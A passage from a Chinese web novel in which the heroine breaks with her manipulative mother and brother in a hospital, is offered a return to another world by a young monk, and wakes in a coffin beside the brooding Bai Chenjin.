付夫人察觉到了,不动声色地用胳膊肘轻轻碰了他一下,示意他收敛些。 沈染星垂下了眼睫。 奇怪,换做是从前,看到他们母子之间这种自然而亲密, 却将她无形排除在外的互动,她心里会泛起密密麻麻的酸涩和羡慕,甚至伤心。 可如今, 她心底竟生不出半分波澜,只觉得眼前这一幕有些可笑,甚至……无聊。 食盒打开的瞬间,一股汤水气味扑面而来,浓郁又油腻,让她胃里隐隐有些不适。 “喝吧,”付夫人将盛好的汤碗递到她面前,语气温和,“这可是我守着灶台,熬了整整三个小时的老鸭汤。” 沈染星伸手接过,端到鼻尖闻了一下,随即微微蹙眉,将碗放回了小几上。 “谢谢,但我不喜欢这么油腻的东西。” 付夫人伸出去准备拿勺子的手,僵在了半空,脸上的表情也凝固了,像是听到了什么天方夜谭,久久没能反应过来。 她的大脑似乎因为这超出预期的拒绝而短暂宕机了。 毕竟,在过去,无论她送来什么,这个女儿即便不喜欢,最多也只是皱皱眉,然后默默喝完,从未如此直接地表示过拒绝。 最先反应过来的,是年轻气盛的付华。 他像是被踩了尾巴的猫,立刻炸毛,声音拔高:“沈染星你什么意思?我妈花了三个小时,辛辛苦苦给你炖的汤,你连尝都不尝一口,就直接说不喜欢?你摆脸色给谁看呢?” “给我?”沈染星目光转向付华,“付华,这汤你在家没喝?” 付华不过是个十九岁的少年,血气方刚,又向来在沈染星面前占据着心理优势,此刻被她这般毫不留情地戳破,顿时恼羞成怒。 他斥责起来:“你他妈别以为上次帮了家里一个小忙,就可以翘起尾巴做人了。” 沈染星揉了揉太阳穴,有些厌倦这种无意义的争吵:“那行,我夹起尾巴做人,回头我就跟我爸说,让他把注资的钱撤回来。” 一提到钱,付夫人如同被针扎了一般,猛地回过神来,脸上瞬间堆起勉强的笑容,连忙打圆场:“染星!你看你,都多大的人了,怎么还跟你弟弟计较这点小事?他年纪小,不懂事,你当姐姐的多担待点。” “这点小事?”沈染星抬起眼,目光清凌凌的,“如果不是你让我装病,去沈总面前哭诉求他帮忙,你们家公司现在资金链已经彻底断裂,宣告破产了吧?” 付华见母亲被质问,更是火冒三丈,指着沈染星对母亲道:“妈!你看看!这就是你嘴里总念叨的好女儿。” 沈染星冷冷地扫了他一眼:“付华,你有什么资格在这里指手画脚?一个靠着家里,一事无成,脑子不好,科科不及格,只会躲在妈妈身后当巨婴的妈宝男,除了会张嘴伸手,你还会干什么?” “你……”付华气得脸色通红。 付夫人见儿子被如此贬低,语气也怒了起来:“染星!你怎么能这么说你弟弟!他只是一时贪玩,以后会懂事的!” “懂事?那等他懂事了,再来见我。” 付夫人看着沈染星此刻冷厉的神情,咄咄逼人的姿态,恍惚间,仿佛看到了她那个冷酷前夫的影子。 她整个人如同被雷击中般,完全愣住了。 短暂的呆滞过后,付夫人像是被点燃的炮仗,积压的怨气瞬间爆发,责怪起来:“我怎么生了你这么个无情无义的东西,简直是狼心狗肺,我白生你,白养你了!” 既然别人这么说了,沈染星觉得,最好便把这罪名给坐实了。 不然白白背负了恶名,岂不是亏大了? 她看着情绪激动的母亲,语气反而愈发平静:“你们既然靠着我的关系,得了沈家的好处,就要有得了好处的模样。低声下气不会吗?至少,学会看人脸色,总该会吧?” 付夫人被她这番话气得胸膛剧烈起伏,半天说不出一个字。 付华见母亲受辱,吼道:“谁稀罕你们沈家的臭钱,以后你休想再来我家,我们家的事也不用你再帮任何忙!” 沈染星闻言,目光淡淡地转向付夫人,笑道:“这可是你们说的。” 付夫人看着沈染星脸上的淡漠,仿佛一切尽在掌握,脸瞬间气得通红! 又是这样! 她最痛恨的,就是沈家人这副游刃有余,仿佛永远高高在上,淡淡看着她出丑狼狈的模样。 当年在那个男人事业低谷期,她本以为离开了他,凭自己的姿色和能力一定能过得更好,可事实证明,她错了,错得离谱。 如今每每看到这个被沈家养得精细,哪怕是个被排除在权力核心外的女儿,也能轻易撬动她需要仰望的巨大资源,这样的对比,让她愈发痛恨这个女儿。 付华则是根本不信,短短一个月前还眼巴巴跑来家里,想融入他们,被他呼来喝去也不敢反抗的沈染星,会真的彻底变了个人。 想到这里,他气焰又“噌”地冒了上来,上前一步,指着沈染星:“你……” “啪——!” 一记清脆响亮的耳光,猛地扇在了付华的脸上,打断了他未出口的话。 付夫人胸口剧烈起伏,眼神里混杂着气愤,难堪和狠厉,厉声喝道:“给我住嘴。” 付华被打得侧过头去,脸上瞬间浮现出清晰的五指红痕。 他捂着脸,不可置信地看着母亲,眼神里充满了震惊。 她可是从小到大,连重话都舍不得说他一句,更别提动手打他了。 沈染星淡淡地看着,付夫人此刻因为愤怒和狼狈,而微微扭曲的脸庞,心中一片平静。 她想,这才是她母亲最真实的模样,撕开那层温婉虚伪的表皮后,歇斯底里,权衡利弊的模样。 这场家庭伦理大戏,也演够了。 “你们回去吧,”沈染星转动轮椅,背对着他们,“我累了,要休息了。” 说完,她不再理会身后那对母子的反应,自己操控着轮椅,朝着病房楼的方向缓缓行去。 一直守在不远处的护工见状,连忙小跑着上前,接手推动轮椅。 付夫人看着女儿决绝的背影,升起一种即将失去掌控的恐慌感,不甘心地大声喊了一句:“染星!” 沈染星却置若罔闻,连头都没回。 她向来知道,怎么最能刺痛她这位母亲的心,无非就是——钱。 很快,一名穿着黑色西装的保镖模样的人上前,地拦住了还想追上去的付夫人,礼貌却强硬。 “付夫人,我家小姐需要静养,请回吧。” …… 几日后,午后的阳光透过玻璃窗,暖融融地洒进来。 沈染星坐在一群穿着病号服的小朋友中间,正耐心地教他们用彩纸折叠小兔子。 她手指灵巧,几下就翻折出一个栩栩如生的轮廓,引得孩子们发出一阵阵惊叹和欢呼,叽叽喳喳地围着她,小脸上满是崇拜和兴奋。 此事,萧医生穿着白大褂,双手插兜,从门口晃了进来。 她看着这热闹的景象,故意板起脸,拍了拍手:“好了好了,手工时间结束,小皮猴们,该回病房午休或者去做治疗了!” 小朋友们虽然不情愿,但都很听萧医生的话,一个个蔫头耷脑地,跟沈染星道别后,慢吞吞地鱼贯而出。 萧医生看着孩子们离开,这才走到沈染星身边,拖了把椅子坐下,调侃道:“可以啊沈染星,这才多久,都快成我们儿科区的孩子王了。那些小屁孩怎么都那么喜欢你?给你糖都比给我时笑得甜。” 沈染星抬手,将桌上散落的彩纸边角料拢到一起,闻言抬起头,对着萧医生展颜一笑:“怎么,萧医生难道不喜欢我吗?” 萧医生被她这直球打得一愣,随即失笑。 她一边拿出听诊器,一边故作嫌弃地道:“喜欢,喜欢行了吧,赶紧躺好。” 沈染星配合地躺靠在床上。 萧医生熟练地进行着检查:“我听护士说,前几天……你跟你妈吵架了?” 沈染星眸光微动,以为萧医生和往常一样,是来劝她放宽心,别跟家人计较的,便淡淡地“嗯”了一声。 不料,萧医生非但没有劝解,反而眼睛一亮。 语气里更是压抑不住兴奋:“真的?你可算是支楞起来了!你都不知道,以前我看着你在他们面前那副逆来顺受,鹌鹑似的样子,心里有多恨铁不成钢,憋屈死了!” 这下轮到沈染星愣住了,她眉峰微挑:“那你……不劝我?” “劝你?” 萧医生像是听到了什么笑话,收起听诊器,双手抱胸,“以前我稍微提一下让你别那么惯着他们,你就像被踩了尾巴的猫,要么躲起来掉眼泪,要么就梗着脖子跟我吵。现在好了,自己硬气了,我劝什么?我鼓掌还来不及呢!” 沈染星被她逗得有些想笑,但仔细回想了一下自己从前的做派…… 还真是如此。 那时候,她仿佛活在一个无比狭小的世界里,觉得如果再失去他们哪怕一丝微弱的关注和认可,便是天塌下来的大事。 所以拼命退让,委屈求全,试图用讨好来换取那点可怜的温情。 如今跳出那个圈子再看,那些纠结与痛苦,竟都像是上辈子的事了,模糊而遥远。 突然间,她又想起了白尘烬。 其实那个人若是真心爱自己,相处起来,是不需要谨小慎微的。 “听说那天闹得挺凶?你妈……还动手打了你那个宝贝弟弟?” 萧医生给沈染星做好记录,凑近了些,声音压得很低。 沈染星点了点头。 “难怪呢!”萧医生一拍大腿,“听说他们最近鸡飞狗跳的,你那个弟弟闹着要离家出走,你那个奶奶……哦,就是你后爸的妈,对你妈动手打她宝贝孙子的事极其不满,也在家里闹腾呢,啧啧,真是好一出大戏。” 沈染星静静地听着,没回答。 萧医生却像是说上了瘾:“要我说啊,这事儿就怪你。以前你乖乖给他们当受气包,平衡维持得好好的。现在你突然撂挑子不干了,他们自己内部那点矛盾可不就压不住了,原地爆炸!哈哈,活该!” 沈染星:“……你还穿着白大褂呢,收敛一点。” 萧医生揉揉脸:“对!不能笑得太邪恶。”- 饭桌上,石多磊正吹凉勺里的鸡汤,准备喂给坐在身旁的乔阿盈,室内温馨而宁静。 不料,乔阿盈突然放下手中搅动粥碗的调羹,抬起头,问道:“你实话告诉我,外面都在传……白大哥定了一口棺材,是给谁的?” 石多磊的手猛地一抖,勺里的鸡汤险些洒出来。 一时间竟不知该如何回答,眼神下意识地想要躲闪。 乔阿盈看着他的反应,心沉了下去:“是给东家的,对不对?” 自从沈染星出事后,石多磊连同苑里其他知情人,一直齐心协力地瞒着乔阿盈。 她孕期本就波折,胎像刚稳下来没多久,所有人都担心她听到这个消息会情绪激动,再次动了胎气,后果不堪设想。 可纸终究包不住火,也不知她是何时,从哪个渠道得知的风声。 不过仔细想想,她知道其实也不奇怪。 自从东家昏迷不醒,白尘烬的状态便急转直下,行事愈发偏激疯狂,他的每一个举动都牵动着无数人的神经。 起初,大家虽然担忧,却还抱着一丝希望,认为在东家沉睡期间,有白尘烬这般强大的存在守护,至少人身安全是无虞的。 谁能想到…… 他居然命人定制了一口棺材! 这掀起了轩然大波,各种阴谋论,各种猜测甚嚣尘上,人心惶惶。 如此爆炸性的消息,能传到深居简出的乔阿盈耳中,实在不算意外。 其中流传最广的一种说法,便是将矛头隐隐指向了萧霁雪。 理由是萧霁雪代表朝廷势力,而近百年来人与妖的关系急剧恶化,不死不休,与朝廷的某些势力和态度脱不开干系。 如今好不容易出现一位,像沈染星这样致力于缓和双方矛盾,促成共生的关键人物,却不明不白地倒下,很难不让人怀疑是既得利益集团下的黑手。 石多磊甚至听闻,萧霁雪近来的处境……也因此变得愈发艰难和危险。 “问你话呢!” 乔阿盈见石多磊眼神飘忽,久久不语,扯了扯他的衣袖。 石多磊看着恼怒的神情,心中重重叹了口气。 事已至此,再隐瞒下去,恐怕只会让她更加胡思乱想,于身体更不利。 他放下汤勺,疲惫道:“是有这么回事……” 话音刚落,乔阿盈眼一红,眼泪瞬间滚落下来。 石多磊顿时慌了神,连忙捏起袖子给她擦眼泪,连声安慰道:“别哭,别哭,阿盈你听我说,事情其实没有外面传言得那么糟糕,东家她没死,她还活着,只是昏迷不醒。” 乔阿盈的眼泪却掉得更凶了,哽咽道:“你们什么都瞒着我,以为我什么都不知道,其实我早就察觉到了,我知道东家不是又被白大哥关起来,而是她出事了。” 她抽噎了一下,用力吸着气,努力平复情绪:“我只是看你这段时间实在忙碌,心力交瘁,不想再给大家增添负担,所以才一直假装不知道罢了。” “若是普通的生病,你们瞒着我也就罢了,可是,如果真的……真的……” 后面那几个不祥的字眼,她无论如何也说不出口。 石多磊心疼地将她搂进怀里,轻轻拍着她的背,安抚道:“没有,真的!东家真的还在,只是醒不过来。我们现在还在想尽各种办法,翻阅所有能找到的古籍孤本,寻找能救醒她的法子。” “那白大哥为什么要定棺材?”乔阿盈仰起泪痕斑驳的小脸,不解地问。 “因为他……可能真的疯了。” 石多磊脸上露出恐惧的神情,低声道:“阿盈,你没亲眼见到他现在那样子……气息恐怖得吓人,似人非人,似鬼非鬼,周身那股力量躁动不安,连妖都避之唯恐不及。 说实话,他现在做出任何事,我都不会觉得奇怪。定棺材或许,只是他某种偏执念头吧。” 乔阿盈依偎在他怀里,沉默了片刻,又想起一个人:“那明月姐呢?” “明月姐她……”石多磊道,“她离开了,没说具体去哪里,只让我们不要等她。” “不见了?” “别瞎想,她走的时候很冷静,说是有一件非常重要的事,必须亲自去办。让我们照顾好苑里,也照顾好你,若是她事情办完了,自然会回来。”—— 作者有话说:明天妹宝就回来啦,妹宝回来后,解了误会,再把国师打包送走,就差不多了~~ 第85章 这是把她给干到哪里来了…… 沈染星独自站在病房的窗边, 颇为闲适,瞧着楼下熙熙攘攘的庭院。 住院部的病人、探视的家属、行色匆匆的医护人员…… 突然间,一个身影跃入了她的眼帘,小小的, 穿着灰色僧服, 仿佛自带一种奇异的磁场, 让她在人群中一眼就锁定了他,并且目光再也无法移开。 那是个年纪很轻的小和尚,面容尚带稚气, 手里提着一个古色古香的深棕色食盒。 他步履从容, 走得不紧不慢, 与周遭匆忙的环境格格不入。 沈染星微微蹙眉,看得莫名眼熟,心脏像是被什么东西轻轻撞了一下。 她倚靠在窗边,静静地看着小和尚穿过人群,朝着相对僻静的绿化带走去。 突然, 那小和尚仿佛心有所感, 毫无预兆地, 竟停下了脚步, 抬起头,朝着她窗口的方向望来。 沈染星不期然与他的视线撞个正着。 “慧觉?!” 她下意识地惊呼出声,心脏狂跳,猛地向前探身,推开了窗户, 想要看得更真切些。 然而,窗子推开,距离拉近, 她看得更清楚了。 不是慧觉。 虽然眉眼间有五六分相似,尤其是那通身宁静超脱的气度,几乎如出一辙,但眼前这个小和尚明显年轻太多,面容稚嫩,眼神也尚未沉淀出慧觉那般看透世事的深邃。 那小和尚与她对上视线后,便不再移动,静静地站在原地。 身侧来往的人流,仿佛都成了模糊的背景,对他没有丝毫影响。 二人就这般隔着一段距离,无声地对视了片刻。 随后,小和尚微微抬起手,示意了一下手中提着的食盒。 沈染星几乎立即便心领神会。 这是邀请她下去一叙的意思。 她没有任何犹豫,点了点头,随即转身,离开了病房。 …… 庭院里,那片相对安静的角落。 沈染星远远地,便看到那小和尚已经立在了一张石桌前,食盒端放在桌面,正安静地等待着她的到来。 这两日身体恢复了些许,已经不需要依赖轮椅,但元气远未恢复,走得很慢,脚步也有些虚浮。 那小和尚也极有耐心,目光平和,看着她一步步走近。 直到沈染星在石桌旁的凳子上坐下,小和尚这才在她对面落座。 沈染星缓了口气,问道;“小师父如何称呼?” 小和尚双手合十:“法号明心。” 她不再寒暄,直接问道:“你和慧觉是什么关系?” 明心小和尚似乎没料到她会如此直接,清澈的眼眸眨了眨,老实回答:“慧觉师父是小僧的师父。” “不同的世界也可以当师父吗?” 明心小和尚被她问得有些无措,支支吾吾了片刻,最终还是点了点头,随后直接道明了来意:“沈施主,小僧此次前来,是想问你……你是否愿意再次回到那边?” 沈染星倏然抬眼:“回去?什么意思?” “就是小僧可以助你,魂魄离体,再次穿越界隙,回到你昏迷的那个身体里。” “不要。” 沈染星想也没想,几乎是脱口而出,直接拒绝了。 小和尚被她拒绝得怔在原地。 虽说这小和尚容貌气度都与慧觉颇为相似,让人不由得生出几分信任,但终究是年纪太轻,少了慧觉那份沉稳。 反应过来沈染星如此干脆地拒绝,明心小和尚有些坐不住了。 他脸上流露出急切的神色:“为何不愿?你在那边有朋友,有家人,有自己的事业,还有一具康健有力的身体,为何不愿意回去?” 沈染星看着他那焦急的模样,反而冷静下来:“因为我若回去了,你口中那朋友、家人、事业……都可能因为我的存在,而面临灾厄,甚至消失呀。” “可及时你不回去,他们也……” 明心小和尚一时着急,脱口而出。 沈染星脸上的笑意瞬间僵住:“你这话是什么意思?” 原本慧觉师父吩咐他,要循序渐进,委婉告知,引导沈施主自己做出选择。 可他年纪小,定力不足,见沈染星拒绝得如此决绝,一着急,便将底牌一股脑儿抖了出来。 明心小和尚自知失言,但话已出口,只得硬着头皮继续说下去:“现在那边……大部分人和妖都以为你已经被害死了,而幕后主使被指向了萧霁雪萧施主。如今萧施主不仅遭受国师残余势力的疯狂围剿,更被众多不明真相,激愤的妖族针对,处境岌岌可危。” 沈染星眉头紧锁:“是国师在背后引导的?” 不然,天下哪有这样巧合的事? 所有的矛头都精准地避开了真正的元凶。 明心小和尚:“小僧不知背后细节,只知道,眼下形势相当不好。若非白尘烬白施主偶尔会现身,以雷霆手段清理一波国师的势力,暂时牵制了部分压力,萧施主恐怕早就支撑不住了。他……” 听到“白尘烬”这个名字,沈染星的心脏漏跳了一拍。 可紧接着听到后面的话,她的心又迅速冷了下来,并且在心里“啧啧”了两声。 颇有种尸骨未寒的荒诞感。 “可即便如此,萧霁雪施主也已是摇摇欲坠,过得极为艰难。眼看着原本邪不胜正的结局就要被改写,国师势力将要再度占据上风,荼毒苍生。” 沈染星听到这里,才猛地抓住他前面话里的一个关键信息,打断了他:“等等,你刚才说,我在那边的身体,已经死了?已经定棺下葬了?” 明心小和尚连忙摇头:“没有!你的身体并未真正死亡,只是陷入沉眠,小僧也不知,白施主为何会为你定制了棺木……” 他话音未落,沈染星心头的火气“嗡”地一下直冲头顶。 “他大爷的!居然这么盼着我没气吗?连棺材都给我备好了?!” 这突如其来的爆发和大声斥骂,吓得明心小和尚浑身一抖,差点从石凳上滑下去。 沈染星手肘撑在桌子上,低下头,十指深深地插入发间。 明心小和尚看不到她的神色,以为她在伤心,不敢出言打扰,只能在一旁静静等着,一如慧觉送她归来那日的模样。 时间在沉默中缓缓流逝。 过了许久,沈染星才慢慢地抬起头。 她重重地呼出一口气,非但没伤心,反而怒气冲冲:“小明心,你送我回去。” …… 沈染星看着明心小和尚将茶水缓缓注入素白的瓷杯。 当初决定回来时,因为在这个世界,除了一个名义上的父亲和关系复杂的母亲,似乎并没有真正将她放在心尖上牵挂的人,所以她回来得干脆。 可如今再次选择回去,意义便截然不同了。 那里有她倾注了心血的事业,有依赖她的,真心相待的朋友,还有让她无法轻易割舍的人。 她其实还是在意的,非常在意。 甚至生出了一种类似近乡情怯的惶惑。 那次昏迷前,漫天风雪中,那道冲破一切向她奔来的黑色身影,那双写满了惊惶与绝望的灰蓝色眼眸,真实又撼动心魄。 而在那些光怪陆离的梦境里,他执着刻刀,在昏暗烛光下一笔笔雕刻佛像的孤寂背影,更是让她心尖发颤。 她觉得,白尘烬是在意她的,是以他那种偏执疯狂的方式,深深挂念着她的。 可这个念头刚升起,另一个冰冷的事实便狠狠砸下。 他与萧霁雪再次并肩作战,甚至他还提前为自己订好了棺材! 仿佛就等着她咽下最后一口气! 一想到这里,怒火就止不住地往上涌,烧得她五脏六腑都在翻涌。 觉得自己那一腔情感,简直都喂了狗! 她甚至产生了一种强烈的逃避心理,不想回去面对那可能已经物是人非的局面,不想亲眼见证他与别人的圆满。 可又想到,她的事业还在那里,都是她一点一滴、夜以继日打拼下来的事业。 怎么可以为了说不清道不明的男女之情,像个懦夫一样,放弃一切? 思及此处,沈染星猛地端起那杯茶,一鼓作气,仰头一饮而尽。 茶水苦涩冰凉,顺着喉咙滑下。 随即,熟悉的眩晕感与剥离感袭来,比上一次更加猛烈。 她心中最后一个念头是:这两具身体的体质差距也太大了,上次还撑了一会儿,这次居然秒晕…… 然后,她便毫无抵抗之力地陷入了无边的黑暗。 …… 意识在虚无中漂浮。 沈染星等啊等,预想中的苏醒,却迟迟没有到来,周围依旧是一片令人心慌的黑暗。 怎么回事? 难道失败了? 卡在半路了? 她下意识地想抬手挠挠头。 可手臂刚一抬起,就“咚”地一声,结结实实地撞在了一个坚硬的障碍物上。 嘶—— 沈染星懵了一瞬,随即一个荒谬又惊悚的念头窜入脑海。 好家伙!明心那小和尚业务不熟练,这是把她给干到哪里来了?! 她强压下心中的慌乱,开始小心翼翼地四处摸索。 触手所及,皆是光滑冰凉的木质结构,空间似乎十分狭小,刚好能容纳她平躺。 当她的手试探性地向上用力顶去时,感觉到头顶位置传来一丝轻微的松动感。 有戏! 沈染星心中顿时一喜,双臂猛地向上用力一推。 “嘭”一声沉闷的巨响,被她硬生生推开了一道缝隙,一道昏暗的光线,刺破了黑暗,投射进来。 她心中一横,再次发力,将那个阻碍彻底推开。 视野骤然开阔。 几乎是在同时,梦境中那熟悉又惊悚的声音,传入了她的耳中。 嚓——嚓——嚓—— 是刻刀划过木头的的声音,节奏平稳,偏执而专注。 沈染星连忙坐起身来,这道声音戛然而止。 第86章 这个疯子! “白尘烬?” 沈染星轻轻叫了一声, 声音有些颤抖和不确定。 并非她看不清。 这密室环境虽然昏暗,但那跳跃的烛火,已足够让她看清近在咫尺之人的轮廓。 眼前这个人,第一眼望去, 她便知道, 他就是白尘烬。 沈染星甚至觉得, 就算这人化成了灰,她也能一眼从灰堆里把他认出来。 无论过去多久,经历多少事, 他的模样早已如同烙印, 刻在她的心里。 只是…… 这个白尘烬, 却又处处透着一股陌生,陌生得令人心悸。 若硬要形容那种感觉…… 便觉得他不像是个活生生的人,更像是一缕失去了所有温度与生气的幽魂,被强行禁锢在人世。 他坐在一侧的太师椅上,穿着一件宽大黑色单衣, 身形空荡瘦削, 那素帛不再像以往只缠绕下半张脸, 而是将整张脸, 都严严实实地包裹了起来,只露出一双眼睛。 广袖滑落,露出的手臂,从手腕一直到小臂,甚至每一根手指, 都密密地缠绕着素帛。 沈染星看到他的第一眼,原本积压的,关于棺材的怒火已经冲到了喉咙口, 想要不管不顾地兴师问罪。 可那质问的话语,在看清他这副模样的瞬间,便如同被冰水浇熄。 她知道,这素帛是为了压制他体内那狂暴不安的力量,也为缓和力量失控所带来的痛苦。 如今裹得这样严实,几乎密不透风……他该是……多痛啊? 听见她的低声呼唤,白尘烬雕刻的动作停了下来,握着刻刀的手悬在半空。 可他却没有看向沈染星,仿佛沉浸在一个与外界隔绝的世界里。 沈染星等了一会儿,见他毫无反应,甚至那悬着的手微微动了动,还想继续那机械的雕刻。 在他手上的刀再次落下,沈染星问道:“你疼吗?” 这句话很轻,落在他耳中却像是很重,重得他握着刻刀的手猛地一颤,力道彻底失控。 “咔嚓”一声脆响,那尊即将成型的佛像头颅被整个削飞出去。 锋利的刻刀余势未减,狠狠划过他缠满素帛的手指,一瞬间,殷红血珠沁了出来,在白帛上晕开猩红痕迹。 沈染星几乎是下意识地倾身过去,一把捉住了他受伤的手。 直到此刻,白尘烬才像是被这真实的触碰惊醒,缓慢地转过头,看向了近在咫尺的沈染星。 烛光映入他眼中,那双灰蓝色的瞳仁带着幽微的蓝色光华,亮得惊人,可那光芒深处,却是一片空洞的死寂,没有半分神采。 沈染星的心脏骤停了一瞬。 这具身体的心脏分明是健康的,可她还是感到一阵闷痛。 她抱怨道:“怎么这么不小心。” 白尘烬没有回答。 他手指一松,那尊断了头,沾染了他新鲜血迹的木佛,“咕噜”一声,滚落下来,正好掉在沈染星的衣襟上,留下一点湿热的红。 他却恍若未觉,只是有些僵硬地从太师椅上站了起来。 他俯下身,靠近她。 沈染星心一跳,仰起头,与他对视。 白尘烬伸出手,指尖轻轻抚上她的眉眼,冰冷得如同寒玉。 他的动作温柔而缱绻,却又危险而眷恋,不知是因冰寒的触感,还是那毛骨悚然的氛围,沈染星控制不住地打了个寒颤。 白尘烬的手指缓缓向下,抚过她的脸颊,她的下颌,她的脖颈,停顿在她颈侧的命门处。 他就那样静静地按着,停了许久,许久。 命门被控住,沈染星梗着脖子,全身僵硬,完全猜不透他此刻想做什么。 是确认她的存在? 还是……在衡量着什么? 她不敢动,甚至连呼吸都放得极轻。 直到她感觉那处血管几乎要被他指尖的寒意冻僵,血液都快要凝固时,白尘烬才终于松开了手。 沈染星暗暗松了一口气,紧绷的神经稍稍放松,只觉得后背惊出了一层薄汗。 她心中愈发确定,白尘烬大抵是真的疯了。 这短短几日里,他身上到底发生了什么,才会变成如今这副模样? 她正心乱如麻地想着,却听见白尘烬开了口。 “回来可累着了?”他的声音低沉沙哑,却过分温柔。 沈染星不解地看着他。 他微微偏头:“要不要休息一下?” 沈染星看着他微弯的眉眼,那弧度看似温柔,却与他空洞无神的眼眸,形成了极其诡异的反差。 一股寒意,瞬间从脊椎骨窜了上来。 陷阱! 这绝对是陷阱! 以她对这个男人偏执性格的了解,但凡她此刻敢顺着他的话,答一个“要”字,或者流露出半分疲惫脆弱,眼前这个幽魂,绝对会当场表演一个什么叫彻底失控,什么叫毁天灭地的发疯。 沈染星立即把头摇得像拨浪鼓,语气坚定:“不用!我睡了那么久,骨头都躺软了,正需要起来活动活动筋骨……” 说着,她的视线开始离开白尘烬,转头打量起周围的环境。 这一看,她再也说不出话来,顿时头皮一阵发麻。 这间不算宽敞的密室石壁上,密密麻麻、层层叠叠地摆放、镶嵌、甚至可以说是硬塞了无数尊小佛像。 它们形态各异,却都带着相似的悲悯面容,在昏黄跳动的烛光映照下,那些佛像的眼睛仿佛都在无声地注视着她,简直令人窒息。 地上更是杂乱地堆砌着一堆,又一堆木佛,几乎无处下脚,整个空间看起来不像居所,更像是一个被废弃的仓库,或者说…… 像一座阴森恐怖的地下陵墓。 想到“陵墓”二字,沈染星猛地记起,白尘烬提前给她定制棺材的事。 她脖颈僵硬,一寸一寸低下头,看向自己正坐着的地方。 触手是冰凉光滑的木质,带着新木特有的淡淡气味,形状规整,空间狭小…… 夭寿啊! 真的是一口货真价实的棺材啊! 沈染星蓦地睁大了眼睛,瞳孔因震惊而收缩,几乎不敢相信自己竟然在棺材里坐了这么久! 刚才推开与白尘烬对峙的紧张,让她完全忽略了身下的“床”,是何等卧槽的存在! 此刻反应过来,她什么都顾不上了,手忙脚乱地,就要往外爬。 白尘烬看着她动作,出声问道:“你想做什么?” 沈染星撑在棺材边缘,头也不抬:“废话!当然是离开这里啊!立刻!马上!” 白尘烬:“为什么?” “还有他妈的为什么啊?!”沈染星终于忍不住爆了粗口,抬起头怒视他,“我只是昏迷!昏迷你懂吗?不是死了!睡什么棺材啊!这玩意儿一点都不吉利!!晦气死了!!” 她气得泛红的脸颊,眸子灼人。 白尘烬居然还伸出手,按住了她的肩头。 他的力道并不重,甚至算得上轻柔,但那手掌却稳得可怕,仿佛蕴含着千钧之力。 因此,沈染星如何挣扎扭动,都无法撼动分毫。 沈染星简直不敢相信,抬头瞪着他。 他看着她:“为什么不吉利?” 沈染星真的要被给气笑了。 这个人真是无聊透顶! 明知故问! 白尘烬的确是在明知故问。 天知道,他已经多久、多久没有见过这样鲜活、会生气、会骂人、眼睛里闪烁着耀眼火光的她了。 多久没有和她进行这样对话了。 久到……他自己都忘记了时间。 此刻,沈染星看着他的眼睛,心竟蓦地软了下来,语气也温和起来:“我害怕在这里。” 白尘烬静静看了她几息,低低应了一声“好”。 然后,他俯下身,双手穿过她的腋下,稍一用力,便将整个人从棺材里抱了出来。 沈染星伸手,小臂交叠,圈住他的脖颈。 身体紧密相贴的瞬间,沈染星才猛地察觉到,白尘烬身上的冷,并非仅仅是体温偏低那么简单。 他宽大的黑色单衣之下,竟然真的凝结了一层薄薄的冰晶。 隔着衣料,都能感受到那股刺骨的寒意,落在他怀里,甚至有些硌人。 沈染星忍不住打了个哆嗦,诧异地问道:“你这是去雪地里打滚了?” 这密室之内,虽阴冷,但也绝达不到结冰的程度。 “没有。” 白尘烬回答简短,抱着她的手臂很稳,正一步步踏上通往地面的石阶。 沈染星抬手,在他垂落在胸前的一缕墨发上轻轻一抓,便捋下了一把冰晶,细碎的,还闪烁着微光。 那些冰晶在她温热的掌心渐渐融化,寒意让她白皙的手掌瞬间泛起了红色。 “那这些冰是哪里来的?” 她摊开手,将半融的冰展示给他看。 白尘烬的声音平静无波:“自己生成的。” 沈染星闻言,顺手就将掌心的水迹擦在了他胸口的素帛上。奇异的是,那点水迹刚一碰到他,竟瞬间化作一缕几乎看不见的白气,消散在空气中。 而就在这一瞬间的接触中,沈染星感觉到,他心口的位置,隔着一层素帛,竟是滚烫的。 此刻的他,简直像一台内部超负荷运转,外表不断凝结冰霜机器。 “你真像一台制冰机。”沈染星忍不住吐槽道。 “什么叫制冰机?” “就是一种可以制造出冰块的工具。” “我不是硝石。” 白尘烬一本正经地纠正她。 沈染星反应了好几秒,才明白他指的是什么。 这里的人通常使用硝石溶于水吸热来制冰。 这过于认真的回答,莫名戳中了沈染星笑点。 她忍俊不禁,把头埋进他心口,闷闷地笑了起来。 白尘烬看了一眼她微微耸动的肩膀,脚步平稳,没有打断她。 门吱呀打开,沈染星察觉到光线大亮,抬起头,眯了眯眼。 他们出了地下密室,她的眼睛瞬间亮起了光彩。 庭院里,春日暖阳如同碎金,倾泻而下。 院中花事正盛,姹紫嫣红,争奇斗艳,鸟儿叽叽喳喳,好不热闹。 微风拂过,花香馥郁,花瓣如雨般簌簌飘落,在地上铺了薄薄一层彩毡。 沈染星被这春色惊艳得一时失语,半晌才喃喃道:“现在……是春天了?” “嗯。” 白尘烬应道,抱着她踏入了这片春光烂漫之中。 沈染星:“所以我昏睡了三个月那么久了吗?” 白尘烬:“是一年三个月又五日。” 一年?! 沈染星倒吸一口凉气。 她在现代明明只度过了一周左右的时间。 难道两个世界的时间流速竟然不一样? 可如果时间过去了这么久,这具身体按理说……怎么可能还维持着生机? “那这具身体,已经死……死过了吗?”她问。 所以她才被放在棺材里,所以他的第一反应,才是检查她的命门? “没有。”白尘烬低头看了她一眼,“我想办法,维持住了你一抹气息。” 听到这话,沈染星松了口气:“谢谢。” 随后,她看着周围陌生的景致,又问:“我们现在是去哪里?” 白尘烬抱着她穿过繁花似锦的庭院,踏上一条蜿蜒的游廊。 游廊两侧朱栏雕画,爬满了生机勃勃的紫藤花穗,阳光透过交错的花叶缝隙,在地上投下斑驳摇曳的光影。 “去化一下我身上的冰。”他回答道。 温泉池氤氲着白色的热气,如同仙境瑶池。 池水清澈,底下铺着光滑的鹅卵石,几处泉眼汩汩地涌出热水。池边怪石嶙峋,生长着喜湿的蕨类植物,更远处是掩映的翠竹。 白尘烬泡在温热的池水中,黑色的单衣被水浸透,宽大的袖摆和衣袂如同墨色的水藻般,漂浮起来,缠绕在他周身。 他靠着池壁,大半身子浸在水里,只露出缠绕着素帛的脖颈和头颅。 沈染星坐在池边的光滑大石上,将裤腿挽到膝盖,一双小腿白皙纤细,浸入温暖的泉水中,轻轻晃动着,激起圈圈涟漪。 温泉水声叮咚,沈染星的声音夹杂其中:“你身上的素帛,是新的。” 